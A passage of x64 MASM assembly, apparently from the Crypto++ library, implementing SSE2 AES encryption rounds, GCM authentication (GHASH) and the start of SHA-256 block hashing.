PTR [r11+8*rsi+(((2+3) MOD (4))+1)] shr edx, 16 movzx esi, ch xor edi, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] movzx esi, cl xor ebx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] movzx esi, dl xor edi, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] movzx esi, dh xor r9d, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] movd ecx, xmm2 mov edx, r12d mov [(r8+0)+3*4], r9d mov [(r8+0)+0*4], eax mov [(r8+0)+1*4], ebx mov [(r8+0)+2*4], edi jmp label5 label3: mov r12d, [(r8+16*12)+0*4] mov ebx, [(r8+16*12)+1*4] mov ecx, [(r8+16*12)+2*4] mov edx, [(r8+16*12)+3*4] label8: mov rax, [(r8+16*14)] movdqu xmm2, [rax] mov rsi, [(r8+16*14)+8] movdqu xmm5, [rsi] pxor xmm2, xmm1 pxor xmm2, xmm5 movd eax, xmm2 psrldq xmm2, 4 movd edi, xmm2 psrldq xmm2, 4 movzx esi, al xor r12d, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] movzx esi, ah xor edx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] shr eax, 16 movzx esi, al xor ecx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] movzx esi, ah xor ebx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] mov eax, edi movd edi, xmm2 psrldq xmm2, 4 movzx esi, al xor ebx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] movzx esi, ah xor r12d, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] shr eax, 16 movzx esi, al xor edx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] movzx esi, ah xor ecx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] mov eax, edi movd edi, xmm2 movzx esi, al xor ecx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] movzx esi, ah xor ebx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] shr eax, 16 movzx esi, al xor r12d, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] movzx esi, ah xor edx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] mov eax, edi movzx esi, al xor edx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] movzx esi, ah xor ecx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] shr eax, 16 movzx esi, al xor ebx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] movzx esi, ah xor r12d, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] mov eax, r12d add r8, [(r8+16*19)] add r8, 4*16 jmp label2 label1: mov ecx, r10d mov edx, r12d mov eax, [(r8+0)+0*4] mov ebx, [(r8+0)+1*4] xor cl, ch and rcx, 255 label5: add r10d, 1 xor edx, DWORD PTR [r11+rcx*8+3] movzx esi, dl xor ebx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] movzx esi, dh mov ecx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] shr edx, 16 xor ecx, [(r8+0)+2*4] movzx esi, dh xor eax, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] movzx esi, dl mov edx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] xor edx, [(r8+0)+3*4] add r8, [(r8+16*19)] add r8, 3*16 jmp label4 label2: mov r9d, [(r8+0)-4*16+3*4] mov edi, [(r8+0)-4*16+2*4] movzx esi, cl xor r9d, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] mov cl, al movzx esi, ah xor edi, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] shr eax, 16 movzx esi, bl xor edi, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] movzx esi, bh xor r9d, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] shr ebx, 16 movzx esi, al xor r9d, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] movzx esi, ah mov eax, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] movzx esi, bl xor eax, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] movzx esi, bh mov ebx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] movzx esi, ch xor eax, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] movzx esi, cl xor ebx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] shr ecx, 16 movzx esi, dl xor eax, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] movzx esi, dh xor ebx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] shr edx, 16 movzx esi, ch xor edi, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] movzx esi, cl xor ebx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] movzx esi, dl xor edi, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] movzx esi, dh xor r9d, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] mov ecx, edi xor eax, [(r8+0)-4*16+0*4] xor ebx, [(r8+0)-4*16+1*4] mov edx, r9d label4: mov r9d, [(r8+0)-4*16+7*4] mov edi, [(r8+0)-4*16+6*4] movzx esi, cl xor r9d, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] mov cl, al movzx esi, ah xor edi, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] shr eax, 16 movzx esi, bl xor edi, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] movzx esi, bh xor r9d, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] shr ebx, 16 movzx esi, al xor r9d, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] movzx esi, ah mov eax, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] movzx esi, bl xor eax, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] movzx esi, bh mov ebx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] movzx esi, ch xor eax, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] movzx esi, cl xor ebx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] shr ecx, 16 movzx esi, dl xor eax, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] movzx esi, dh xor ebx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] shr edx, 16 movzx esi, ch xor edi, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] movzx esi, cl xor ebx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] movzx esi, dl xor edi, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] movzx esi, dh xor r9d, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] mov ecx, edi xor eax, [(r8+0)-4*16+4*4] xor ebx, [(r8+0)-4*16+5*4] mov edx, r9d add r8, 32 test r8, 255 jnz label2 sub r8, 16*16 movzx esi, ch movzx edi, BYTE PTR [r11+rsi*8+1] movzx esi, dl xor edi, DWORD PTR [r11+rsi*8+0] mov WORD PTR [(r8+16*13)+2], di movzx esi, dh movzx edi, BYTE PTR [r11+rsi*8+1] movzx esi, al xor edi, DWORD PTR [r11+rsi*8+0] mov WORD PTR [(r8+16*13)+6], di shr edx, 16 movzx esi, ah movzx edi, BYTE PTR [r11+rsi*8+1] movzx esi, bl xor edi, DWORD PTR [r11+rsi*8+0] mov WORD PTR [(r8+16*13)+10], di shr eax, 16 movzx esi, bh movzx edi, BYTE PTR [r11+rsi*8+1] movzx esi, cl xor edi, DWORD PTR [r11+rsi*8+0] mov WORD PTR [(r8+16*13)+14], di shr ebx, 16 movzx esi, dh movzx edi, BYTE PTR [r11+rsi*8+1] movzx esi, al xor edi, DWORD PTR [r11+rsi*8+0] mov WORD PTR [(r8+16*13)+12], di shr ecx, 16 movzx esi, ah movzx edi, BYTE PTR [r11+rsi*8+1] movzx esi, bl xor edi, DWORD PTR [r11+rsi*8+0] mov WORD PTR [(r8+16*13)+0], di movzx esi, bh movzx edi, BYTE PTR [r11+rsi*8+1] movzx esi, cl xor edi, DWORD PTR [r11+rsi*8+0] mov WORD PTR [(r8+16*13)+4], di movzx esi, ch movzx edi, BYTE PTR [r11+rsi*8+1] movzx esi, dl xor edi, DWORD PTR [r11+rsi*8+0] mov WORD PTR [(r8+16*13)+8], di mov rax, [(r8+16*14)+16] mov rbx, [(r8+16*14)+24] mov rcx, [(r8+16*18+8)] sub rcx, 16 movdqu xmm2, [rax] pxor xmm2, xmm4 movdqa xmm0, [(r8+16*16)+16] paddq xmm0, [(r8+16*14)+16] movdqa [(r8+16*14)+16], xmm0 pxor xmm2, [(r8+16*13)] movdqu [rbx], xmm2 jle label7 mov [(r8+16*18+8)], rcx test rcx, 1 jnz label1 movdqa xmm0, [(r8+16*16)] paddq xmm0, [(r8+16*14)] movdqa [(r8+16*14)], xmm0 jmp label3 label7: xorps xmm0, xmm0 lea rax, [(r8+0)+7*16] movaps [rax-7*16], xmm0 movaps [rax-6*16], xmm0 movaps [rax-5*16], xmm0 movaps [rax-4*16], xmm0 movaps [rax-3*16], xmm0 movaps [rax-2*16], xmm0 movaps [rax-1*16], xmm0 movaps [rax+0*16], xmm0 movaps [rax+1*16], xmm0 movaps [rax+2*16], xmm0 movaps [rax+3*16], xmm0 movaps [rax+4*16], xmm0 movaps [rax+5*16], xmm0 movaps [rax+6*16], xmm0 pop r12 pop rbx pop rdi pop rsi ret Rijndael_Enc_AdvancedProcessBlocks_SSE2 ENDP ALIGN 8 GCM_AuthenticateBlocks_2K_SSE2 PROC FRAME rex_push_reg rsi push_reg rdi push_reg rbx .endprolog mov rsi, r8 mov r11, r9 movdqa xmm0, [rsi] label0: movdqu xmm4, [rcx] pxor xmm0, xmm4 movd ebx, xmm0 mov eax, 0f0f0f0f0h and eax, ebx shl ebx, 4 and ebx, 0f0f0f0f0h movzx edi, ah movdqa xmm5, XMMWORD PTR [rsi + 32 + 1024 + rdi] movzx edi, al movdqa xmm4, XMMWORD PTR [rsi + 32 + 1024 + rdi] shr eax, 16 movzx edi, ah movdqa xmm3, XMMWORD PTR [rsi + 32 + 1024 + rdi] movzx edi, al movdqa xmm2, XMMWORD PTR [rsi + 32 + 1024 + rdi] psrldq xmm0, 4 movd eax, xmm0 and eax, 0f0f0f0f0h movzx edi, bh pxor xmm5, XMMWORD PTR [rsi + 32 + (1-1)*256 + rdi] movzx edi, bl pxor xmm4, XMMWORD PTR [rsi + 32 + (1-1)*256 + rdi] shr ebx, 16 movzx edi, bh pxor xmm3, XMMWORD PTR [rsi + 32 + (1-1)*256 + rdi] movzx edi, bl pxor xmm2, XMMWORD PTR [rsi + 32 + (1-1)*256 + rdi] movd ebx, xmm0 shl ebx, 4 and ebx, 0f0f0f0f0h movzx edi, ah pxor xmm5, XMMWORD PTR [rsi + 32 + 1024 + 1*256 + rdi] movzx edi, al pxor xmm4, XMMWORD PTR [rsi + 32 + 1024 + 1*256 + rdi] shr eax, 16 movzx edi, ah pxor xmm3, XMMWORD PTR [rsi + 32 + 1024 + 1*256 + rdi] movzx edi, al pxor xmm2, XMMWORD PTR [rsi + 32 + 1024 + 1*256 + rdi] psrldq xmm0, 4 movd eax, xmm0 and eax, 0f0f0f0f0h movzx edi, bh pxor xmm5, XMMWORD PTR [rsi + 32 + (2-1)*256 + rdi] movzx edi, bl pxor xmm4, XMMWORD PTR [rsi + 32 + (2-1)*256 + rdi] shr ebx, 16 movzx edi, bh pxor xmm3, XMMWORD PTR [rsi + 32 + (2-1)*256 + rdi] movzx edi, bl pxor xmm2, XMMWORD PTR [rsi + 32 + (2-1)*256 + rdi] movd ebx, xmm0 shl ebx, 4 and ebx, 0f0f0f0f0h movzx edi, ah pxor xmm5, XMMWORD PTR [rsi + 32 + 1024 + 2*256 + rdi] movzx edi, al pxor xmm4, XMMWORD PTR [rsi + 32 + 1024 + 2*256 + rdi] shr eax, 16 movzx edi, ah pxor xmm3, XMMWORD PTR [rsi + 32 + 1024 + 2*256 + rdi] movzx edi, al pxor xmm2, XMMWORD PTR [rsi + 32 + 1024 + 2*256 + rdi] psrldq xmm0, 4 movd eax, xmm0 and eax, 0f0f0f0f0h movzx edi, bh pxor xmm5, XMMWORD PTR [rsi + 32 + (3-1)*256 + rdi] movzx edi, bl pxor xmm4, XMMWORD PTR [rsi + 32 + (3-1)*256 + rdi] shr ebx, 16 movzx edi, bh pxor xmm3, XMMWORD PTR [rsi + 32 + (3-1)*256 + rdi] movzx edi, bl pxor xmm2, XMMWORD PTR [rsi + 32 + (3-1)*256 + rdi] movd ebx, xmm0 shl ebx, 4 and ebx, 0f0f0f0f0h movzx edi, ah pxor xmm5, XMMWORD PTR [rsi + 32 + 1024 + 3*256 + rdi] movzx edi, al pxor xmm4, XMMWORD PTR [rsi + 32 + 1024 + 3*256 + rdi] shr eax, 16 movzx edi, ah pxor xmm3, XMMWORD PTR [rsi + 32 + 1024 + 3*256 + rdi] movzx edi, al pxor xmm2, XMMWORD PTR [rsi + 32 + 1024 + 3*256 + rdi] movzx edi, bh pxor xmm5, XMMWORD PTR [rsi + 32 + 3*256 + rdi] movzx edi, bl pxor xmm4, XMMWORD PTR [rsi + 32 + 3*256 + rdi] shr ebx, 16 movzx edi, bh pxor xmm3, XMMWORD PTR [rsi + 32 + 3*256 + rdi] movzx edi, bl pxor xmm2, XMMWORD PTR [rsi + 32 + 3*256 + rdi] movdqa xmm0, xmm3 pslldq xmm3, 1 pxor xmm2, xmm3 movdqa xmm1, xmm2 pslldq xmm2, 1 pxor xmm5, xmm2 psrldq xmm0, 15 movd rdi, xmm0 movzx eax, WORD PTR [r11 + rdi*2] shl eax, 8 movdqa xmm0, xmm5 pslldq xmm5, 1 pxor xmm4, xmm5 psrldq xmm1, 15 movd rdi, xmm1 xor ax, WORD PTR [r11 + rdi*2] shl eax, 8 psrldq xmm0, 15 movd rdi, xmm0 xor ax, WORD PTR [r11 + rdi*2] movd xmm0, eax pxor xmm0, xmm4 add rcx, 16 sub rdx, 1 jnz label0 movdqa [rsi], xmm0 pop rbx pop rdi pop rsi ret GCM_AuthenticateBlocks_2K_SSE2 ENDP ALIGN 8 GCM_AuthenticateBlocks_64K_SSE2 PROC FRAME rex_push_reg rsi push_reg rdi .endprolog mov rsi, r8 movdqa xmm0, [rsi] label1: movdqu xmm1, [rcx] pxor xmm1, xmm0 pxor xmm0, xmm0 movd eax, xmm1 psrldq xmm1, 4 movzx edi, al add rdi, rdi pxor xmm0, [rsi + 32 + (0*4+0)*256*16 + rdi*8] movzx edi, ah add rdi, rdi pxor xmm0, [rsi + 32 + (0*4+1)*256*16 + rdi*8] shr eax, 16 movzx edi, al add rdi, rdi pxor xmm0, [rsi + 32 + (0*4+2)*256*16 + rdi*8] movzx edi, ah add rdi, rdi pxor xmm0, [rsi + 32 + (0*4+3)*256*16 + rdi*8] movd eax, xmm1 psrldq xmm1, 4 movzx edi, al add rdi, rdi pxor xmm0, [rsi + 32 + (1*4+0)*256*16 + rdi*8] movzx edi, ah add rdi, rdi pxor xmm0, [rsi + 32 + (1*4+1)*256*16 + rdi*8] shr eax, 16 movzx edi, al add rdi, rdi pxor xmm0, [rsi + 32 + (1*4+2)*256*16 + rdi*8] movzx edi, ah add rdi, rdi pxor xmm0, [rsi + 32 + (1*4+3)*256*16 + rdi*8] movd eax, xmm1 psrldq xmm1, 4 movzx edi, al add rdi, rdi pxor xmm0, [rsi + 32 + (2*4+0)*256*16 + rdi*8] movzx edi, ah add rdi, rdi pxor xmm0, [rsi + 32 + (2*4+1)*256*16 + rdi*8] shr eax, 16 movzx edi, al add rdi, rdi pxor xmm0, [rsi + 32 + (2*4+2)*256*16 + rdi*8] movzx edi, ah add rdi, rdi pxor xmm0, [rsi + 32 + (2*4+3)*256*16 + rdi*8] movd eax, xmm1 psrldq xmm1, 4 movzx edi, al add rdi, rdi pxor xmm0, [rsi + 32 + (3*4+0)*256*16 + rdi*8] movzx edi, ah add rdi, rdi pxor xmm0, [rsi + 32 + (3*4+1)*256*16 + rdi*8] shr eax, 16 movzx edi, al add rdi, rdi pxor xmm0, [rsi + 32 + (3*4+2)*256*16 + rdi*8] movzx edi, ah add rdi, rdi pxor xmm0, [rsi + 32 + (3*4+3)*256*16 + rdi*8] add rcx, 16 sub rdx, 1 jnz label1 movdqa [rsi], xmm0 pop rdi pop rsi ret GCM_AuthenticateBlocks_64K_SSE2 ENDP ALIGN 8 SHA256_HashMultipleBlocks_SSE2 PROC FRAME rex_push_reg rsi push_reg rdi push_reg rbx push_reg rbp alloc_stack(8*4 + 16*4 + 4*8 + 8) .endprolog mov rdi, r8 lea rsi, [?SHA256_K@CryptoPP@@3QBIB + 48*4] mov [rsp+8*4+16*4+1*8], rcx mov [rsp+8*4+16*4+2*8], rdx add rdi, rdx mov [rsp+8*4+16*4+3*8], rdi movdqa xmm0, XMMWORD PTR [rcx+0*16] movdqa xmm1, XMMWORD PTR [rcx+1*16] mov [rsp+8*4+16*4+0*8], rsi label0: sub rsi, 48*4 movdqa [rsp+((1024+7-(0+3)) MOD (8))*4], xmm1 movdqa [rsp+((1024+7-(0+7)) MOD (8))*4], xmm0 mov rbx, [rdx+0*8] bswap rbx mov [rsp+8*4+((1024+15-(0*(1+1)+1)) MOD (16))*4], rbx mov rbx, [rdx+1*8] bswap rbx mov [rsp+8*4+((1024+15-(1*(1+1)+1)) MOD (16))*4], rbx mov rbx, [rdx+2*8] bswap rbx mov [rsp+8*4+((1024+15-(2*(1+1)+1)) MOD (16))*4], rbx mov rbx, [rdx+3*8] bswap rbx mov [rsp+8*4+((1024+15-(3*(1+1)+1)) MOD (16))*4], rbx mov rbx, [rdx+4*8] bswap rbx mov [rsp+8*4+((1024+15-(4*(1+1)+1)) MOD (16))*4], rbx mov rbx, [rdx+5*8] bswap rbx mov [rsp+8*4+((1024+15-(5*(1+1)+1)) MOD (16))*4], rbx mov rbx, [rdx+6*8] bswap rbx mov [rsp+8*4+((1024+15-(6*(1+1)+1)) MOD (16))*4], rbx mov rbx, [rdx+7*8] bswap rbx mov [rsp+8*4+((1024+15-(7*(1+1)+1)) MOD (16))*4], rbx mov edi, [rsp+((1024+7-(0+3)) MOD (8))*4] mov eax, [rsp+((1024+7-(0+6)) MOD (8))*4] xor eax, [rsp+((1024+7-(0+5)) MOD (8))*4] mov ecx, [rsp+((1024+7-(0+7)) MOD (8))*4] mov edx, [rsp+((1024+7-(0+2)) MOD (8))*4] xor edx, [rsp+((1024+7-(0+1)) MOD (8))*4] and edx, edi xor edx, [rsp+((1024+7-(0+1)) MOD (8))*4] mov ebp, edi ror edi, 6 ror ebp, 25 add edx, [rsi+(0)*4] add edx, [rsp+8*4+((1024+15-(0)) MOD (16))*4] add edx, [rsp+((1024+7-(0)) MOD (8))*4] xor ebp, edi ror edi, 5 xor ebp, edi add edx, ebp mov ebx, ecx xor ecx, [rsp+((1024+7-(0+6)) MOD (8))*4] and eax, ecx xor eax, [rsp+((1024+7-(0+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add eax, edx add edx, [rsp+((1024+7-(0+4)) MOD (8))*4] mov [rsp+((1024+7-(0+4)) MOD (8))*4], edx ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add eax, ebp mov [rsp+((1024+7-(0)) MOD (8))*4], eax mov edi, [rsp+((1024+7-(1+2)) MOD (8))*4] xor edi, [rsp+((1024+7-(1+1)) MOD (8))*4] and edi, edx xor edi, [rsp+((1024+7-(1+1)) MOD (8))*4] mov ebp, edx ror edx, 6 ror ebp, 25 add edi, [rsi+(1)*4] add edi, [rsp+8*4+((1024+15-(1)) MOD (16))*4] add edi, [rsp+((1024+7-(1)) MOD (8))*4] xor ebp, edx ror edx, 5 xor ebp, edx add edi, ebp mov ebx, eax xor eax, [rsp+((1024+7-(1+6)) MOD (8))*4] and ecx, eax xor ecx, [rsp+((1024+7-(1+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add ecx, edi add edi, [rsp+((1024+7-(1+4)) MOD (8))*4] mov [rsp+((1024+7-(1+4)) MOD (8))*4], edi ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add ecx, ebp mov [rsp+((1024+7-(1)) MOD (8))*4], ecx mov edx, [rsp+((1024+7-(2+2)) MOD (8))*4] xor edx, [rsp+((1024+7-(2+1)) MOD (8))*4] and edx, edi xor edx, [rsp+((1024+7-(2+1)) MOD (8))*4] mov ebp, edi ror edi, 6 ror ebp, 25 add edx, [rsi+(2)*4] add edx, [rsp+8*4+((1024+15-(2)) MOD (16))*4] add edx, [rsp+((1024+7-(2)) MOD (8))*4] xor ebp, edi ror edi, 5 xor ebp, edi add edx, ebp mov ebx, ecx xor ecx, [rsp+((1024+7-(2+6)) MOD (8))*4] and eax, ecx xor eax, [rsp+((1024+7-(2+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add eax, edx add edx, [rsp+((1024+7-(2+4)) MOD (8))*4] mov [rsp+((1024+7-(2+4)) MOD (8))*4], edx ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add eax, ebp mov [rsp+((1024+7-(2)) MOD (8))*4], eax mov edi, [rsp+((1024+7-(3+2)) MOD (8))*4] xor edi, [rsp+((1024+7-(3+1)) MOD (8))*4] and edi, edx xor edi, [rsp+((1024+7-(3+1)) MOD (8))*4] mov ebp, edx ror edx, 6 ror ebp, 25 add edi, [rsi+(3)*4] add edi, [rsp+8*4+((1024+15-(3)) MOD (16))*4] add edi, [rsp+((1024+7-(3)) MOD (8))*4] xor ebp, edx ror edx, 5 xor ebp, edx add edi, ebp mov ebx, eax xor eax, [rsp+((1024+7-(3+6)) MOD (8))*4] and ecx, eax xor ecx, [rsp+((1024+7-(3+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add ecx, edi add edi, [rsp+((1024+7-(3+4)) MOD (8))*4] mov [rsp+((1024+7-(3+4)) MOD (8))*4], edi ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add ecx, ebp mov [rsp+((1024+7-(3)) MOD (8))*4], ecx mov edx, [rsp+((1024+7-(4+2)) MOD (8))*4] xor edx, [rsp+((1024+7-(4+1)) MOD (8))*4] and edx, edi xor edx, [rsp+((1024+7-(4+1)) MOD (8))*4] mov ebp, edi ror edi, 6 ror ebp, 25 add edx, [rsi+(4)*4] add edx, [rsp+8*4+((1024+15-(4)) MOD (16))*4] add edx, [rsp+((1024+7-(4)) MOD (8))*4] xor ebp, edi ror edi, 5 xor ebp, edi add edx, ebp mov ebx, ecx xor ecx, [rsp+((1024+7-(4+6)) MOD (8))*4] and eax, ecx xor eax, [rsp+((1024+7-(4+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add eax, edx add edx, [rsp+((1024+7-(4+4)) MOD (8))*4] mov [rsp+((1024+7-(4+4)) MOD (8))*4], edx ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add eax, ebp mov [rsp+((1024+7-(4)) MOD (8))*4], eax mov edi, [rsp+((1024+7-(5+2)) MOD (8))*4] xor edi, [rsp+((1024+7-(5+1)) MOD (8))*4] and edi, edx xor edi, [rsp+((1024+7-(5+1)) MOD (8))*4] mov ebp, edx ror edx, 6 ror ebp, 25 add edi, [rsi+(5)*4] add edi, [rsp+8*4+((1024+15-(5)) MOD (16))*4] add edi, [rsp+((1024+7-(5)) MOD (8))*4] xor ebp, edx ror edx, 5 xor ebp, edx add edi, ebp mov ebx, eax xor eax, [rsp+((1024+7-(5+6)) MOD (8))*4] and ecx, eax xor ecx, [rsp+((1024+7-(5+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add ecx, edi add edi, [rsp+((1024+7-(5+4)) MOD (8))*4] mov [rsp+((1024+7-(5+4)) MOD (8))*4], edi ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add ecx, ebp mov [rsp+((1024+7-(5)) MOD (8))*4], ecx mov edx, [rsp+((1024+7-(6+2)) MOD (8))*4] xor edx, [rsp+((1024+7-(6+1)) MOD (8))*4] and edx, edi xor edx, [rsp+((1024+7-(6+1)) MOD (8))*4] mov ebp, edi ror edi, 6 ror ebp, 25 add edx, [rsi+(6)*4] add edx, [rsp+8*4+((1024+15-(6)) MOD (16))*4] add edx, [rsp+((1024+7-(6)) MOD (8))*4] xor ebp, edi ror edi, 5 xor ebp, edi add edx, ebp mov ebx, ecx xor ecx, [rsp+((1024+7-(6+6)) MOD (8))*4] and eax, ecx xor eax, [rsp+((1024+7-(6+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add eax, edx add edx, [rsp+((1024+7-(6+4)) MOD (8))*4] mov [rsp+((1024+7-(6+4)) MOD (8))*4], edx ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add eax, ebp mov [rsp+((1024+7-(6)) MOD (8))*4], eax mov edi, [rsp+((1024+7-(7+2)) MOD (8))*4] xor edi, [rsp+((1024+7-(7+1)) MOD (8))*4] and edi, edx xor edi, [rsp+((1024+7-(7+1)) MOD (8))*4] mov ebp, edx ror edx, 6 ror ebp, 25 add edi, [rsi+(7)*4] add edi, [rsp+8*4+((1024+15-(7)) MOD (16))*4] add edi, [rsp+((1024+7-(7)) MOD (8))*4] xor ebp, edx ror edx, 5 xor ebp, edx add edi, ebp mov ebx, eax xor eax, [rsp+((1024+7-(7+6)) MOD (8))*4] and ecx, eax xor ecx, [rsp+((1024+7-(7+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add ecx, edi add edi, [rsp+((1024+7-(7+4)) MOD (8))*4] mov [rsp+((1024+7-(7+4)) MOD (8))*4], edi ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add ecx, ebp mov [rsp+((1024+7-(7)) MOD (8))*4], ecx mov edx, [rsp+((1024+7-(8+2)) MOD (8))*4] xor edx, [rsp+((1024+7-(8+1)) MOD (8))*4] and edx, edi xor edx, [rsp+((1024+7-(8+1)) MOD (8))*4] mov ebp, edi ror edi, 6 ror ebp, 25 add edx, [rsi+(8)*4] add edx, [rsp+8*4+((1024+15-(8)) MOD (16))*4] add edx, [rsp+((1024+7-(8)) MOD (8))*4] xor ebp, edi ror edi, 5 xor ebp, edi add edx, ebp mov ebx, ecx xor ecx, [rsp+((1024+7-(8+6)) MOD (8))*4] and eax, ecx xor eax, [rsp+((1024+7-(8+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add eax, edx add edx, [rsp+((1024+7-(8+4)) MOD (8))*4] mov [rsp+((1024+7-(8+4)) MOD (8))*4], edx ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add eax, ebp mov [rsp+((1024+7-(8)) MOD (8))*4], eax mov edi, [rsp+((1024+7-(9+2)) MOD (8))*4] xor edi, [rsp+((1024+7-(9+1)) MOD (8))*4] and edi, edx xor edi, [rsp+((1024+7-(9+1)) MOD (8))*4] mov ebp, edx ror edx, 6 ror ebp, 25 add edi, [rsi+(9)*4] add edi, [rsp+8*4+((1024+15-(9)) MOD (16))*4] add edi, [rsp+((1024+7-(9)) MOD (8))*4] xor ebp, edx ror edx, 5 xor ebp, edx add edi, ebp mov ebx, eax xor eax, [rsp+((1024+7-(9+6)) MOD (8))*4] and ecx, eax xor ecx, [rsp+((1024+7-(9+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add ecx, edi add edi, [rsp+((1024+7-(9+4)) MOD (8))*4] mov [rsp+((1024+7-(9+4)) MOD (8))*4], edi ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add ecx, ebp mov [rsp+((1024+7-(9)) MOD (8))*4], ecx mov edx, [rsp+((1024+7-(10+2)) MOD (8))*4] xor edx, [rsp+((1024+7-(10+1)) MOD (8))*4] and edx, edi xor edx, [rsp+((1024+7-(10+1)) MOD (8))*4] mov ebp, edi ror edi, 6 ror ebp, 25 add edx, [rsi+(10)*4] add edx, [rsp+8*4+((1024+15-(10)) MOD (16))*4] add edx, [rsp+((1024+7-(10)) MOD (8))*4] xor ebp, edi ror edi, 5 xor ebp, edi add edx, ebp mov ebx, ecx xor ecx, [rsp+((1024+7-(10+6)) MOD (8))*4] and eax, ecx xor eax, [rsp+((1024+7-(10+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add eax, edx add edx, [rsp+((1024+7-(10+4)) MOD (8))*4] mov [rsp+((1024+7-(10+4)) MOD (8))*4], edx ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add eax, ebp mov [rsp+((1024+7-(10)) MOD (8))*4], eax mov edi, [rsp+((1024+7-(11+2)) MOD (8))*4] xor edi, [rsp+((1024+7-(11+1)) MOD (8))*4] and edi, edx xor edi, [rsp+((1024+7-(11+1)) MOD (8))*4] mov ebp, edx ror edx, 6 ror ebp, 25 add edi, [rsi+(11)*4] add edi, [rsp+8*4+((1024+15-(11)) MOD (16))*4] add edi, [rsp+((1024+7-(11)) MOD (8))*4] xor ebp, edx ror edx, 5 xor ebp, edx add edi, ebp mov ebx, eax xor eax, [rsp+((1024+7-(11+6)) MOD (8))*4] and ecx, eax xor ecx, [rsp+((1024+7-(11+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add ecx, edi add edi, [rsp+((1024+7-(11+4)) MOD (8))*4] mov [rsp+((1024+7-(11+4)) MOD (8))*4], edi ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add ecx, ebp mov [rsp+((1024+7-(11)) MOD (8))*4], ecx mov edx, [rsp+((1024+7-(12+2)) MOD (8))*4] xor edx, [rsp+((1024+7-(12+1)) MOD (8))*4] and 